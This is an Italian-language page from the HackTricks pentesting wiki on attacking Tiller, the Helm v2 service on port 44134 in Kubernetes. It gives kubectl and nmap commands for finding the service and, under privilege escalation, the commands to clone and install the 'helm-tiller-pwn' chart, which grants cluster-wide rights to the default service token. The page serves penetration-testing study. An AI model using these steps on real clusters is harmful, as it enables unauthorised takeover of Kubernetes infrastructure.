hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md
2024-02-10 13:03:23 +00:00

5.3 KiB

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di base

Helm è il gestore di pacchetti per Kubernetes. Consente di impacchettare file YAML e distribuirli in repository pubbliche e private. Questi pacchetti sono chiamati Helm Charts. Tiller è il servizio in esecuzione di default sulla porta 44134 che offre il servizio.

Porta predefinita: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumerazione

Se puoi enumerare i pod e/o i servizi di diversi namespace, elenca e cerca quelli con "tiller" nel loro nome:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Esempi:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Potresti anche provare a trovare questo servizio controllando la porta 44134:

sudo nmap -sS -p 44134 <IP>

Una volta scoperto, puoi comunicare con esso scaricando l'applicazione client helm. Puoi utilizzare strumenti come homebrew, o consultare la pagina ufficiale dei rilasci. Per ulteriori dettagli o altre opzioni, consulta la guida all'installazione.

Successivamente, puoi enumerare il servizio:

helm --host tiller-deploy.kube-system:44134 version

Escalazione dei privilegi

Di default, Helm2 viene installato nel namespace kube-system con alti privilegi, quindi se trovi il servizio e hai accesso ad esso, ciò potrebbe consentirti di escalare i privilegi.

Tutto ciò che devi fare è installare un pacchetto come questo: https://github.com/Ruil1n/helm-tiller-pwn che darà all'accesso al token di servizio predefinito l'accesso a tutto il cluster.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

In http://rui0.cn/archives/1573 hai la spiegazione dell'attacco, ma in sostanza, se leggi i file clusterrole.yaml e clusterrolebinding.yaml all'interno di helm-tiller-pwn/pwnchart/templates/ puoi vedere come tutti i privilegi vengono dati al token predefinito.

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: